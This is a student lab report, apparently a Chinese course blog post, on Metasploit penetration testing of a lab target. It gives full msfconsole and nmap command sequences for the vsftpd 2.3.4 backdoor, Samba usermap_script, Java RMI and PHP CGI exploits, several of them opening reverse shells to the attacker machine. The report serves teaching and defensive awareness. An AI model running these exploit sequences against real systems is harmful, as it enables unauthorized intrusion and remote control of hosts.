20222423 2024-2025-1 《网络与系统攻防技术》实验六实验报告

1.实验内容

1.1 内容回顾总结

总而言之这周都重点在于Metasploit工具的使用时间上,对其功能和使用流程有了深入了解,也越发感叹道魔高一尺,道高一丈,好多漏洞如今的操作系统或者软件都已经修复,通过msf针对漏洞实施变得越发困难(重点点名本周的msf测试作业,让我一天都没吃上饭,基本上时间都花在环境配置上,真正的漏洞命令使用反而不占多少时间)

1.2 实验任务

目标靶机IP:192.168.116.133

攻击方kali的IP:192.168.56.107

(1)前期渗透

  • 主机发现

  • 端口扫描

  • 扫描系统版本,漏洞等

(2) Vsftpd源码包后门漏洞(21端口)

(3) SambaMS-RPC Shell命令注入漏洞(端口139)

(4)Java RMI SERVER命令执行漏洞(1099端口)

(5) PHP CGI参数执行注入漏洞(80端口)

2.实验过程

2.1 前期渗透

2.1.1 主机发现

首先使用root权限登入,启用msfconsole控制台

搜索漏洞库

search  arp_sweep
use 0

set RHOSTS 192.168.116.0/24
/ 设置目标网段 /

exploit

?但是没有显示目标主机存活
怀疑是攻击方和目标靶机不能Ping通

???但是两台机器都可以ping通?

所以那就换种发现主机方式,利用Ping命令

fping -g 192.168.116.0/24

可以看到主机192.168.116.133存活,成功实现了主机发现

2.1.2 端口扫描

这里使用了nmap命令
首先扫描TCP端口

nmap -sT -sU 192.168.116.133

其中-sU代表扫描UDP端口,-sT扫描TCP端口,最后得到的结果如下

需要的时间有点长。。。

2.1.3 扫描系统版本,漏洞

扫描一下系统信息

nmap -sV 192.168.116.133

我们能够看到端口对应的应用以及该应用的版本号等信息

下来扫描一下操作系统信息

nmap -O 192.168.116.133

可以看到这里并没有直接列出目标主机的OS,只是说明了有哪些可能得OS

下面扫描以下目标靶机的漏洞

nmap --script vuln -T4 192.168.116.133
  • script vuln: 告诉nmap运行所有的“vuln”类别的脚本,vuln类型脚本一般用与漏洞扫描

  • T4 :表示扫描的速度

可看到能够扫描出目标靶机存在的一些漏洞,其中就有我们这次实验要用到的Vsftpd源码包后门漏洞、Java RMI SERVER命令执行漏洞等

2.2 Vsftpd源码包后门漏洞(21端口)

漏洞介绍:(笑脸漏洞)这个漏洞的触发条件是在FTP的登录过程中,用户提供的用户名将包含一个连续的 : 字符(即笑脸表情)。当vsftpd检测到这样的用户名时,它会执行vsf_sysutil_extra()函数,这个函数负责打开6200端口并监听连接。由于这个行为超出了正常的FTP服务器功能,因此被认为是一个后门

首先查看目标端口是否开放,漏洞是不是存在

nmap -sV -p 21 192.168.116.133

vsfxftp版本刚好就是2.3.4,是漏洞存在的版本,大大增加了攻击的成功几率

下面启动msf控制台,搜索该漏洞信息

search vsftpd

use 1

刚好有2.3.4版本这个漏洞,直接使用
线面配置命令参数

set RHOST 192.168.116.133

set payload cmd/unix/interact

show options

exploit,执行!

可以看到成功攻击,使用pwd、ifconfig、id、uname -a等命令都可以执行并且输出对应的信息

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)

漏洞介绍:Samba MS-RPC Shell命令注入漏洞(CVE-2007-2447)是指在旧版本的Samba软件中存在的一个安全漏洞。这个漏洞允许攻击者通过构造特殊的输入来执行任意命令。具体来说,Samba中的usermap_script功能在处理用户输入时没有进行适当的过滤,从而使得攻击者可以在调用smb.conf中定义的外部脚本时,通过MS-RPC接口提交恶意输入,进而在服务器上执行命令。

漏洞使用流程大差不差,先看一下相关漏洞的信息

search samba

然后选择需要的漏洞库,并进行参数配置

use exploit/multi/samba/usermap_script

set RHOST 192.168.116.133

set LHOST 192.168.56.107

options

设置检查没有问题,然后exploit执行!

可以看到也成功攻击到靶机,使用uname -a、ifconfig、id、whoami等命令都可以获取到靶机的信息

2.4 Java RMI SERVER命令执行漏洞(1099端口)

漏洞介绍:Java RMI(Remote Method Invocation)服务器命令执行漏洞是指攻击者利用Java RMI服务的脆弱性,通过发送特制的序列化对象来实现远程执行任意命令。这个漏洞通常发生在RMI服务不加筛选地接受和解析客户端发送的数据时。由于Java序列化机制允许攻击者在数据中嵌入恶意代码,如果RMI服务在反序列化时没有进行适当的安全检查,攻击者就能够执行这些代码。

首先查看一下目标靶机端口是否打开,以及对应的应用信息

nmap -sV -p 1099 192.168.116.133

很好,目标端口开启着,开始实施攻击

search rmi

/ 搜索漏洞相关信息 /

下面选择想用的漏洞库

use exploit/multi/misc/java_rmi/java_rmi_server

set RHOSTS 192.168.116.133

set lhost 192.168.56.107

set payload java/meterpreter/reverse_tcp

options

配置没有问题,exploit开始执行

这里我的kali端直接进入了meterpreter,这里无法查看sessions。。

shell

可以看到成功获取到主机的shell,使用whoami、ifconfig、id等命令均可执行,成功攻击到靶机

2.5 PHP CGI参数执行注入漏洞(80端口)

PHP CGI参数执行注入漏洞(CVE-2024-4577)发生在PHP的CGI模式下,当Web服务器(如Apache)以CGI方式调用PHP处理程序时。这个漏洞利用了Windows系统中的字符编码处理特性,特别是“Best-Fit Mapping”特性,该特性在字符编码转换过程中会将某些字符映射为等效的字符。在这个漏洞中,攻击者通过发送包含特定非打印字符(如软连字符0xAD)的查询字符串,利用Windows在处理这些字符时的错误映射,将软连字符错误地识别为命令行参数分隔符‘-’。这样,攻击者构造的查询字符串在经过错误的编码转换后,被当作合法的命令行参数传递给PHP,从而绕过了正常的安全检查,实现了在服务器上执行任意代码。

老流程,查看靶机端口是否开放,对饮给的应用信息是怎么样的

nmap -sV -p 80 192.168.116.133

搜索对应漏洞,使用

search php_cgi

use 0

设置需要参数

set RHOSTS 192.168.116.133

set LHOST 192.168.56.107

run

shell

可以看到成功获取到靶机的shell,使用whoami、id、uname -a等命令都可以执行

3.问题及解决方案

  • 问题:exploit时候攻击方IP绑定错误

在执行 SambaMS-RPC Shell命令注入漏洞使用时候,参数最开始只设置了set RHOST 192.168.116.133,exploit的时候发现攻击方的IP出现了错误,导致没有成功创建session

方法也很简单,设置参数的时候记得设置lhost也就是攻击方的IP地址加上

set LHOST 192.168.56.107

果然成功执行,所以有时候攻击失败也能是参数设置的时候出现问题

4.学习感悟、思考等

  • 通过Metasploit渗透测试作业,加上这次实验,让我对这个工具有了更加深入的了解,以及使用方面也更加流畅。大体上使用流程为

进入msf控制台

查找对应漏洞相关信息

选择加载想用的模块

设置需要的参数

exploit/run执行

  • 同时通过对于漏洞的了解和学习,也进一步提高了自己的安全意识,所以有时候一些应用软件提示需要升级的时候,很大几率也修复了不少已经存在的漏洞或安全隐患,某种方面也算一种抵抗攻击的手段。

  • 总而言之这次实验相对前面的简单了不少,但这是建立在已经有完整工具以及环境之上的,实验重点在于漏洞使用进行渗透测试的方式,以及反过来该如何预防或者修补这些漏洞,魔高一尺道高一丈,网络攻防双方都在不断前进。

5.参考资料

posted on 2024-11-16 15:01  云烟飘渺PM  阅读(100)  评论(0编辑  收藏  举报